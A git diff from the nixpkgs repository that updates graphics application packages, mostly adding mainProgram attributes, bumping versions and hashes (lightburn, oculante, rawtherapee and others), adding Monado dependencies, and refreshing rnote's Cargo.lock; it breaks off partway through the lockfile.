diff --git a/pkgs/applications/graphics/lazpaint/default.nix b/pkgs/applications/graphics/lazpaint/default.nix index d2d799dadaf6a..1f6a9460a6a48 100644 --- a/pkgs/applications/graphics/lazpaint/default.nix +++ b/pkgs/applications/graphics/lazpaint/default.nix @@ -62,5 +62,6 @@ in stdenv.mkDerivation rec { license = licenses.gpl3; platforms = platforms.linux; maintainers = with maintainers; [ ]; + mainProgram = "lazpaint"; }; } diff --git a/pkgs/applications/graphics/lightburn/default.nix b/pkgs/applications/graphics/lightburn/default.nix index c686ed41752ad..7ac16d934fa8e 100644 --- a/pkgs/applications/graphics/lightburn/default.nix +++ b/pkgs/applications/graphics/lightburn/default.nix @@ -6,7 +6,7 @@ stdenv.mkDerivation rec { pname = "lightburn"; - version = "1.5.00"; + version = "1.5.02"; nativeBuildInputs = [ p7zip @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "https://github.com/LightBurnSoftware/deployment/releases/download/${version}/LightBurn-Linux64-v${version}.7z"; - sha256 = "sha256-KnhwulPpYdN6x1n9TD89Gv1Y20tSmKWT2WcuhoTMg3Y="; + sha256 = "sha256-1gmiPWrNk3T8WJ9u/4UzrhwxOcPUKyWIqtwqJiXA4c4="; }; buildInputs = [ @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = lib.licenses.unfree; maintainers = with lib.maintainers; [ q3k ]; platforms = [ "x86_64-linux" ]; + mainProgram = "LightBurn"; }; } diff --git a/pkgs/applications/graphics/litemdview/default.nix b/pkgs/applications/graphics/litemdview/default.nix index ebd830868f6c0..9fedae23069c0 100644 --- a/pkgs/applications/graphics/litemdview/default.nix +++ b/pkgs/applications/graphics/litemdview/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ WhiteBlackGoose ]; platforms = platforms.linux; + mainProgram = "litemdview"; }; } diff --git a/pkgs/applications/graphics/lorien/default.nix b/pkgs/applications/graphics/lorien/default.nix index ad7442a93ccbd..8105e3682b591 100644 --- a/pkgs/applications/graphics/lorien/default.nix +++ b/pkgs/applications/graphics/lorien/default.nix @@ -129,5 +129,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ hqurve ]; + mainProgram = "lorien"; }; } diff --git a/pkgs/applications/graphics/mandelbulber/default.nix b/pkgs/applications/graphics/mandelbulber/default.nix index ca1ca5bf4cf22..68e88bdea28ae 100644 --- a/pkgs/applications/graphics/mandelbulber/default.nix +++ b/pkgs/applications/graphics/mandelbulber/default.nix @@ -19,13 +19,13 @@ assert withOpenCL -> ocl-icd != null; mkDerivation rec { pname = "mandelbulber"; - version = "2.31"; + version = "2.31-1"; src = fetchFromGitHub { owner = "buddhi1980"; repo = "mandelbulber2"; rev = version; - sha256 = "sha256-r3IuOdtBSrTK/pDChgq/M3yQkSz2R+FG6kvwjYPjR4A="; + sha256 = "sha256-nyIFvFe86C2ciBDSNWn1yrBYTCm1dR7sZ5RFGoTPqvQ="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/graphics/meh/default.nix b/pkgs/applications/graphics/meh/default.nix index d23176c2518db..992a739bb3775 100644 --- a/pkgs/applications/graphics/meh/default.nix +++ b/pkgs/applications/graphics/meh/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation { homepage = "https://www.johnhawthorn.com/meh/"; license = lib.licenses.mit; platforms = lib.platforms.linux; + mainProgram = "meh"; }; } diff --git a/pkgs/applications/graphics/menyoki/default.nix b/pkgs/applications/graphics/menyoki/default.nix index e1b7087cf73b7..800ede30be429 100644 --- a/pkgs/applications/graphics/menyoki/default.nix +++ b/pkgs/applications/graphics/menyoki/default.nix @@ -50,5 +50,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/orhun/menyoki/blob/v${version}/CHANGELOG.md"; license = licenses.gpl3Only; maintainers = with maintainers; [ figsoda ]; + mainProgram = "menyoki"; }; } diff --git a/pkgs/applications/graphics/minidjvu/default.nix b/pkgs/applications/graphics/minidjvu/default.nix index 4a9b91d9c7b84..ca9e77391eb39 100644 --- a/pkgs/applications/graphics/minidjvu/default.nix +++ b/pkgs/applications/graphics/minidjvu/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; maintainers = [ lib.maintainers.viric ]; platforms = lib.platforms.unix; + mainProgram = "minidjvu"; }; } diff --git a/pkgs/applications/graphics/monado/default.nix b/pkgs/applications/graphics/monado/default.nix index 40e5f916f3f3d..68ebaa5f9dcd1 100644 --- a/pkgs/applications/graphics/monado/default.nix +++ b/pkgs/applications/graphics/monado/default.nix @@ -3,6 +3,7 @@ , fetchFromGitLab , writeText , cmake +, cjson , doxygen , glslang , pkg-config @@ -11,6 +12,7 @@ , bluez , dbus , eigen +, elfutils , ffmpeg , gst-plugins-base , gstreamer @@ -19,11 +21,13 @@ , libXau , libXdmcp , libXrandr +, libXext , libbsd , libffi , libjpeg -# , librealsense +, librealsense , libsurvive +, libunwind , libusb1 , libuv , libuvc @@ -33,6 +37,9 @@ , opencv4 , openhmd , openvr +, orc +, pcre2 +, shaderc , udev , vulkan-headers , vulkan-loader @@ -41,6 +48,8 @@ , wayland-scanner , libdrm , zlib +, zstd +, nixosTests # Set as 'false' to build monado without service support, i.e. allow VR # applications linking against libopenxr_monado.so to use OpenXR standalone # instead of via the monado-service program. For more information see: @@ -76,8 +85,10 @@ stdenv.mkDerivation { buildInputs = [ SDL2 bluez + cjson dbus eigen + elfutils ffmpeg gst-plugins-base gstreamer @@ -89,8 +100,9 @@ stdenv.mkDerivation { libbsd libjpeg libffi - # librealsense.dev - see below + librealsense libsurvive + libunwind libusb1 libuv libuvc @@ -100,6 +112,9 @@ stdenv.mkDerivation { opencv4 openhmd openvr + orc + pcre2 + shaderc udev vulkan-headers vulkan-loader @@ -108,24 +123,14 @@ stdenv.mkDerivation { wayland-protocols libdrm zlib + zstd ]; - # known disabled drivers: - # - DRIVER_DEPTHAI - Needs depthai-core https://github.com/luxonis/depthai-core - # - DRIVER_ILLIXR - needs ILLIXR headers https://github.com/ILLIXR/ILLIXR - # - DRIVER_REALSENSE - see below - # - DRIVER_SIMULAVR - needs realsense - # - DRIVER_ULV2 - needs proprietary Leapmotion SDK https://api.leapmotion.com/documentation/v2/unity/devguide/Leap_SDK_Overview.html - - # realsense is disabled, the build ends with the following error: - # - # CMake Error in src/xrt/drivers/CMakeLists.txt: - # Imported target "realsense2::realsense2" includes non-existent path - # "/nix/store/2v95aps14hj3jy4ryp86vl7yymv10mh0-librealsense-2.41.0/include" - # in its INTERFACE_INCLUDE_DIRECTORIES. - # - # for some reason cmake is trying to use ${librealsense}/include - # instead of ${librealsense.dev}/include as an include directory + # known disabled drivers/features: + # - DRIVER_DEPTHAI - Needs depthai-core https://github.com/luxonis/depthai-core (See https://github.com/NixOS/nixpkgs/issues/292618) + # - DRIVER_ILLIXR - needs ILLIXR headers https://github.com/ILLIXR/ILLIXR (See https://github.com/NixOS/nixpkgs/issues/292661) + # - DRIVER_ULV2 - Needs proprietary Leapmotion SDK https://api.leapmotion.com/documentation/v2/unity/devguide/Leap_SDK_Overview.html (See https://github.com/NixOS/nixpkgs/issues/292624) + # - DRIVER_ULV5 - Needs proprietary Leapmotion SDK https://api.leapmotion.com/documentation/v2/unity/devguide/Leap_SDK_Overview.html (See https://github.com/NixOS/nixpkgs/issues/292624) # Help openxr-loader find this runtime setupHook = writeText "setup-hook" '' @@ -137,6 +142,10 @@ stdenv.mkDerivation { ./force-enable-steamvr_lh.patch ]; + passthru.tests = { + basic-service = nixosTests.monado; + }; + meta = with lib; { description = "Open source XR runtime"; homepage = "https://monado.freedesktop.org/"; diff --git a/pkgs/applications/graphics/mtpaint/default.nix b/pkgs/applications/graphics/mtpaint/default.nix index 740f9c7cb193f..332acf25e498c 100644 --- a/pkgs/applications/graphics/mtpaint/default.nix +++ b/pkgs/applications/graphics/mtpaint/default.nix @@ -36,6 +36,7 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.vklquevs ]; + mainProgram = "mtpaint"; }; } diff --git a/pkgs/applications/graphics/ocrad/default.nix b/pkgs/applications/graphics/ocrad/default.nix index 476d56fb3fe3c..8eae4fda5f8b7 100644 --- a/pkgs/applications/graphics/ocrad/default.nix +++ b/pkgs/applications/graphics/ocrad/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ pSub ]; platforms = platforms.unix; + mainProgram = "ocrad"; }; } diff --git a/pkgs/applications/graphics/oculante/default.nix b/pkgs/applications/graphics/oculante/default.nix index e8a82a71aee4b..d6f8c1d641cb9 100644 --- a/pkgs/applications/graphics/oculante/default.nix +++ b/pkgs/applications/graphics/oculante/default.nix @@ -22,16 +22,16 @@ rustPlatform.buildRustPackage rec { pname = "oculante"; - version = "0.8.7"; + version = "0.8.13"; src = fetchFromGitHub { owner = "woelper"; repo = "oculante"; rev = version; - hash = "sha256-49reMm9woxekJUqHq7biHvlYii9BmLvq6u9RFkASpUw="; + hash = "sha256-RbRvV3OkRZXc0n7qGzqbBtbU81wFc+/Ohg9pbVqdsw4="; }; - cargoHash = "sha256-93J0/INcQEvu14pPZeLRfwKECeEGcsch9hUZ0IjYivM="; + cargoHash = "sha256-qt4bHCHpiP6yOce9hquVVlLFF906ADwhss4xAP9E0fA="; nativeBuildInputs = [ cmake diff --git a/pkgs/applications/graphics/odafileconverter/default.nix b/pkgs/applications/graphics/odafileconverter/default.nix index 3a089febc3df3..ba1d5bdce0738 100644 --- a/pkgs/applications/graphics/odafileconverter/default.nix +++ b/pkgs/applications/graphics/odafileconverter/default.nix @@ -50,5 +50,6 @@ in mkDerivation { license = licenses.unfree; maintainers = with maintainers; [ nagisa ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ODAFileConverter"; }; } diff --git a/pkgs/applications/graphics/openboard/default.nix b/pkgs/applications/graphics/openboard/default.nix index e32e668573132..9eacdc642ce56 100644 --- a/pkgs/applications/graphics/openboard/default.nix +++ b/pkgs/applications/graphics/openboard/default.nix @@ -114,5 +114,6 @@ in stdenv.mkDerivation (finalAttrs: { license = licenses.gpl3Plus; maintainers = with maintainers; [ fufexan ]; platforms = platforms.linux; + mainProgram = "OpenBoard"; }; }) diff --git a/pkgs/applications/graphics/openscad/default.nix b/pkgs/applications/graphics/openscad/default.nix index 24d1fdc06ae8b..e0ea00e5c2984 100644 --- a/pkgs/applications/graphics/openscad/default.nix +++ b/pkgs/applications/graphics/openscad/default.nix @@ -29,6 +29,7 @@ , spacenavSupport ? stdenv.isLinux, libspnav , wayland , wayland-protocols +, wrapGAppsHook , qtwayland , cairo }: @@ -57,7 +58,7 @@ mkDerivation rec { }) ]; - nativeBuildInputs = [ bison flex pkg-config gettext qmake ]; + nativeBuildInputs = [ bison flex pkg-config gettext qmake wrapGAppsHook]; buildInputs = [ eigen boost glew opencsg cgal_4 mpfr gmp glib diff --git a/pkgs/applications/graphics/pdfcpu/default.nix b/pkgs/applications/graphics/pdfcpu/default.nix index 9fdc77ac745f2..2613304b17c23 100644 --- a/pkgs/applications/graphics/pdfcpu/default.nix +++ b/pkgs/applications/graphics/pdfcpu/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "pdfcpu"; - version = "0.6.0"; + version = "0.7.0"; src = fetchFromGitHub { owner = "pdfcpu"; repo = pname; rev = "v${version}"; - hash = "sha256-New0+pWtKdEx/k69pNisNKYj6p998HoEjAhQEDugP/g="; + hash = "sha256-FzlukSQSKeQY6H53UfWXwL8bXkOXRhaA92/Kgxh4oms="; # Apparently upstream requires that the compiled executable will know the # commit hash and the date of the commit. This information is also presented # in the output of `pdfcpu version` which we use as a sanity check in the @@ -64,5 +64,6 @@ buildGoModule rec { homepage = "https://pdfcpu.io"; license = licenses.asl20; maintainers = with maintainers; [ doronbehar ]; + mainProgram = "pdfcpu"; }; } diff --git a/pkgs/applications/graphics/pixelnuke/default.nix b/pkgs/applications/graphics/pixelnuke/default.nix index 0666501120e63..c40a41590b70e 100644 --- a/pkgs/applications/graphics/pixelnuke/default.nix +++ b/pkgs/applications/graphics/pixelnuke/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.unlicense; platforms = platforms.linux; maintainers = with maintainers; [ mrVanDalo ]; + mainProgram = "pixelnuke"; }; }) diff --git a/pkgs/applications/graphics/pixeluvo/default.nix b/pkgs/applications/graphics/pixeluvo/default.nix index f3b40b515183a..2c94b4645c562 100644 --- a/pkgs/applications/graphics/pixeluvo/default.nix +++ b/pkgs/applications/graphics/pixeluvo/default.nix @@ -53,5 +53,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ wolfangaukang ]; + mainProgram = "pixeluvo"; }; } diff --git a/pkgs/applications/graphics/pqiv/default.nix b/pkgs/applications/graphics/pqiv/default.nix index f678af7061197..0cc568c7e0925 100644 --- a/pkgs/applications/graphics/pqiv/default.nix +++ b/pkgs/applications/graphics/pqiv/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation (rec { pname = "pqiv"; - version = "2.12"; + version = "2.13"; src = fetchFromGitHub { owner = "phillipberndt"; repo = "pqiv"; rev = version; - sha256 = "18nvrqmlifh4m8nfs0d19sb9d1l3a95xc89qxqdr881jcxdsgflw"; + sha256 = "sha256-Jlc6sd9lRWUC1/2GZnJ0EmVRHxCXP8dTZNZEhJBS7oQ="; }; nativeBuildInputs = [ pkg-config ]; @@ -24,5 +24,6 @@ stdenv.mkDerivation (rec { license = licenses.gpl3Plus; maintainers = []; platforms = platforms.linux; + mainProgram = "pqiv"; }; }) diff --git a/pkgs/applications/graphics/processing/default.nix b/pkgs/applications/graphics/processing/default.nix index 65cd2bea47709..3df5013cc078f 100644 --- a/pkgs/applications/graphics/processing/default.nix +++ b/pkgs/applications/graphics/processing/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub, fetchurl, ant, unzip, makeWrapper, jdk, jogl, rsync, ffmpeg, batik, wrapGAppsHook }: +{ lib, stdenv, fetchFromGitHub, fetchurl, ant, unzip, makeWrapper, jdk, jogl, rsync, ffmpeg, batik, wrapGAppsHook, libGL }: let buildNumber = "1293"; vaqua = fetchurl { @@ -58,6 +58,8 @@ stdenv.mkDerivation rec { dontWrapGApps = true; buildPhase = '' + runHook preBuild + echo "tarring jdk" tar --checkpoint=10000 -czf build/linux/jdk-17.0.8-${arch}.tgz ${jdk} cp ${ant}/lib/ant/lib/{ant.jar,ant-launcher.jar} app/lib/ @@ -78,9 +80,13 @@ stdenv.mkDerivation rec { cd build ant build cd .. + + runHook postBuild ''; installPhase = '' + runHook preInstall + mkdir -p $out/share/ mkdir -p $out/share/applications/ cp -dp build/linux/${pname}.desktop $out/share/applications/ @@ -89,10 +95,14 @@ stdenv.mkDerivation rec { ln -s ${jdk} $out/share/${pname}/java makeWrapper $out/share/${pname}/processing $out/bin/processing \ ''${gappsWrapperArgs[@]} \ + --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ libGL ]}" \ --prefix _JAVA_OPTIONS " " -Dawt.useSystemAAFontSettings=lcd makeWrapper $out/share/${pname}/processing-java $out/bin/processing-java \ ''${gappsWrapperArgs[@]} \ + --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ libGL ]}" \ --prefix _JAVA_OPTIONS " " -Dawt.useSystemAAFontSettings=lcd + + runHook postInstall ''; meta = with lib; { diff --git a/pkgs/applications/graphics/qiv/default.nix b/pkgs/applications/graphics/qiv/default.nix index 96ec02294ffdc..2758148dc1ae3 100644 --- a/pkgs/applications/graphics/qiv/default.nix +++ b/pkgs/applications/graphics/qiv/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation (rec { homepage = "http://spiegl.de/qiv/"; license = licenses.gpl2; platforms = platforms.linux; + mainProgram = "qiv"; }; }) diff --git a/pkgs/applications/graphics/rawtherapee/default.nix b/pkgs/applications/graphics/rawtherapee/default.nix index cbf4efce28f57..2038b09dd822e 100644 --- a/pkgs/applications/graphics/rawtherapee/default.nix +++ b/pkgs/applications/graphics/rawtherapee/default.nix @@ -20,17 +20,21 @@ , librsvg , libcanberra-gtk3 , gtk-mac-integration +, exiv2 }: stdenv.mkDerivation rec { pname = "rawtherapee"; - version = "5.9"; + version = "5.10"; src = fetchFromGitHub { owner = "Beep6581"; repo = "RawTherapee"; rev = version; - hash = "sha256-kdctfjss/DHEcaSDPXcmT20wXTwkI8moRX/i/5wT5Hg="; + hash = "sha256-rIwwKNm7l7oPEt95sHyRj4aF3mtnvM4KAu8oVaIMwyE="; + # The developpers ask not to use the tarball from Github releases, see + # https://www.rawtherapee.com/downloads/5.10/#news-relevant-to-package-maintainers + forceFetchGit = true; }; postPatch = '' @@ -61,6 +65,7 @@ stdenv.mkDerivation rec { libsigcxx lensfun librsvg + exiv2 ] ++ lib.optionals stdenv.isLinux [ libcanberra-gtk3 ] ++ lib.optionals stdenv.isDarwin [ diff --git a/pkgs/applications/graphics/rnote/Cargo.lock b/pkgs/applications/graphics/rnote/Cargo.lock index af715c5955f20..f36abca67e8ce 100644 --- a/pkgs/applications/graphics/rnote/Cargo.lock +++ b/pkgs/applications/graphics/rnote/Cargo.lock @@ -19,9 +19,9 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "ahash" -version = "0.8.6" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" +checksum = "8b79b82693f705137f8fb9b37871d99e4f9a7df12b917eed79c3d3954830a60b" dependencies = [ "cfg-if", "once_cell", @@ -83,9 +83,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.4" +version = "0.6.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "d96bd03f33fe50a863e394ee9718a706f988b9079b20c3784fb726e7678b62fb" dependencies = [ "anstyle", "anstyle-parse", @@ -97,9 +97,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.4" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" @@ -112,9 +112,9 @@ dependencies = [ [[package]] name = "anstyle-query" -version = "1.0.1" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3a318f1f38d2418400f8209655bfd825785afd25aa30bb7ba6cc792e4596748" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" dependencies = [ "windows-sys 0.52.0", ] @@ -131,9 +131,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.80" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" [[package]] name = "approx" @@ -174,24 +174,13 @@ dependencies = [ [[package]] name = "async-channel" -version = "1.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" -dependencies = [ - "concurrent-queue", - "event-listener 2.5.3", - "futures-core", -] - -[[package]] -name = "async-channel" -version = "2.1.1" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" dependencies = [ "concurrent-queue", - "event-listener 4.0.0", - "event-listener-strategy", + "event-listener 5.2.0", + "event-listener-strategy 0.5.0", "futures-core", "pin-project-lite", ] @@ -202,60 +191,39 @@ version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" dependencies = [ - "async-lock 3.2.0", + "async-lock 3.3.0", "async-task", "concurrent-queue", - "fastrand 2.0.1", - "futures-lite 2.1.0", + "fastrand", + "futures-lite", "slab", ] [[package]] name = "async-fs" -version = "1.6.0" +version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "279cf904654eeebfa37ac9bb1598880884924aab82e290aa65c9e77a0e142e06" +checksum = "bc19683171f287921f2405677dd2ed2549c3b3bda697a563ebc3a121ace2aba1" dependencies = [ - "async-lock 2.8.0", - "autocfg", + "async-lock 3.3.0", "blocking", - "futures-lite 1.13.0", -] - -[[package]] -name = "async-io" -version = "1.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" -dependencies = [ - "async-lock 2.8.0", - "autocfg", - "cfg-if", - "concurrent-queue", - "futures-lite 1.13.0", - "log", - "parking", - "polling 2.8.0", - "rustix 0.37.27", - "slab", - "socket2", - "waker-fn", + "futures-lite", ] [[package]] name = "async-io" -version = "2.2.1" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d6d3b15875ba253d1110c740755e246537483f152fa334f91abd7fe84c88b3ff" +checksum = "8f97ab0c5b00a7cdbe5a371b9a782ee7be1316095885c8a4ea1daf490eb0ef65" dependencies = [ - "async-lock 3.2.0", + "async-lock 3.3.0", "cfg-if", "concurrent-queue", "futures-io", - "futures-lite 2.1.0", + "futures-lite", "parking", - "polling 3.3.1", - "rustix 0.38.26", + "polling", + "rustix", "slab", "tracing", "windows-sys 0.52.0", @@ -272,41 +240,42 @@ dependencies = [ [[package]] name = "async-lock" -version = "3.2.0" +version = "3.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7125e42787d53db9dd54261812ef17e937c95a51e4d291373b670342fa44310c" +checksum = "d034b430882f8381900d3fe6f0aaa3ad94f2cb4ac519b429692a1bc2dda4ae7b" dependencies = [ - "event-listener 4.0.0", - "event-listener-strategy", + "event-listener 4.0.3", + "event-listener-strategy 0.4.0", "pin-project-lite", ] [[package]] name = "async-net" -version = "1.8.0" +version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0434b1ed18ce1cf5769b8ac540e33f01fa9471058b5e89da9e06f3c882a8c12f" +checksum = "b948000fad4873c1c9339d60f2623323a0cfd3816e5181033c6a5cb68b2accf7" dependencies = [ - "async-io 1.13.0", + "async-io", "blocking", - "futures-lite 1.13.0", + "futures-lite", ] [[package]] name = "async-process" -version = "1.8.1" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea6438ba0a08d81529c69b36700fa2f95837bfe3e776ab39cde9c14d9149da88" +checksum = "451e3cf68011bd56771c79db04a9e333095ab6349f7e47592b788e9b98720cc8" dependencies = [ - "async-io 1.13.0", - "async-lock 2.8.0", + "async-channel", + "async-io", + "async-lock 3.3.0", "async-signal", "blocking", "cfg-if", - "event-listener 3.1.0", - "futures-lite 1.13.0", - "rustix 0.38.26", - "windows-sys 0.48.0", + "event-listener 5.2.0", + "futures-lite", + "rustix", + "windows-sys 0.52.0", ] [[package]] @@ -315,13 +284,13 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" dependencies = [ - "async-io 2.2.1", + "async-io", "async-lock 2.8.0", "atomic-waker", "cfg-if", "futures-core", "futures-io", - "rustix 0.38.26", + "rustix", "signal-hook-registry", "slab", "windows-sys 0.48.0", @@ -329,18 +298,9 @@ dependencies = [ [[package]] name = "async-task" -version = "4.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4eb2cdb97421e01129ccb49169d8279ed21e829929144f4a22a6e54ac549ca1" - -[[package]] -name = "atomic-polyfill" -version = "1.0.3" +version = "4.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8cf2bce30dfe09ef0bfaef228b9d414faaf7e563035494d7fe092dba54b300f4" -dependencies = [ - "critical-section", -] +checksum = "fbb36e985947064623dbd357f727af08ffd077f93d696782f3c56365fa2e2799" [[package]] name = "atomic-waker" @@ -397,7 +357,7 @@ dependencies = [ "regex", "rustc-hash", "shlex", - "syn 2.0.39", + "syn 2.0.52", "which", ] @@ -408,9 +368,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "955e602d2d68b79ca5d674984259234fad2c8d869ad99011699e0a3cd76f38cd" dependencies = [ "autocxx-engine", - "env_logger 0.9.3", + "env_logger", "indexmap 1.9.3", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -437,7 +397,7 @@ dependencies = [ "rustversion", "serde_json", "strum_macros", - "syn 2.0.39", + "syn 2.0.52", "tempfile", "thiserror", "version_check", @@ -453,7 +413,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -470,7 +430,7 @@ dependencies = [ "quote", "serde", "serde_json", - "syn 2.0.39", + "syn 2.0.52", "thiserror", ] @@ -500,28 +460,28 @@ dependencies = [ [[package]] name = "base64" -version = "0.21.5" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "bindgen" -version = "0.69.1" +version = "0.69.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ffcebc3849946a7170a05992aac39da343a90676ab392c51a4280981d6379c2" +checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cexpr", "clang-sys", + "itertools 0.12.1", "lazy_static", "lazycell", - "peeking_take_while", "proc-macro2", "quote", "regex", "rustc-hash", "shlex", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -538,9 +498,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "block" @@ -554,27 +514,27 @@ version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" dependencies = [ - "async-channel 2.1.1", - "async-lock 3.2.0", + "async-channel", + "async-lock 3.3.0", "async-task", - "fastrand 2.0.1", + "fastrand", "futures-io", - "futures-lite 2.1.0", + "futures-lite", "piper", "tracing", ] [[package]] name = "bumpalo" -version = "3.14.0" +version = "3.15.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" +checksum = "8ea184aa71bb362a1157c896979544cc23974e08fd265f29ea96b59f0b4a555b" [[package]] name = "bytemuck" -version = "1.14.0" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] name = "byteorder" @@ -590,23 +550,22 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] name = "cairo-rs" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f33613627f0dea6a731b0605101fad59ba4f193a52c96c4687728d822605a8a1" +checksum = "2650f66005301bd33cc486dec076e1293c4cecf768bc7ba9bf5d2b1be339b99c" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cairo-sys-rs", "glib", "libc", - "once_cell", "thiserror", ] [[package]] name = "cairo-sys-rs" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" +checksum = "fd3bb3119664efbd78b5e6c93957447944f16bdbced84c17a9f41c7829b81e64" dependencies = [ "glib-sys", "libc", @@ -621,11 +580,10 @@ checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" [[package]] name = "cc" -version = "1.0.83" +version = "1.0.88" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +checksum = "02f341c093d19155a6e41631ce5971aac4e9a868262212153124c15fa22d1cdc" dependencies = [ - "jobserver", "libc", ] @@ -646,9 +604,9 @@ dependencies = [ [[package]] name = "cfg-expr" -version = "0.15.5" +version = "0.15.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3" +checksum = "fa50868b64a9a6fda9d593ce778849ea8715cd2a3d2cc17ffdb4a2f2f2f1961d" dependencies = [ "smallvec", "target-lexicon", @@ 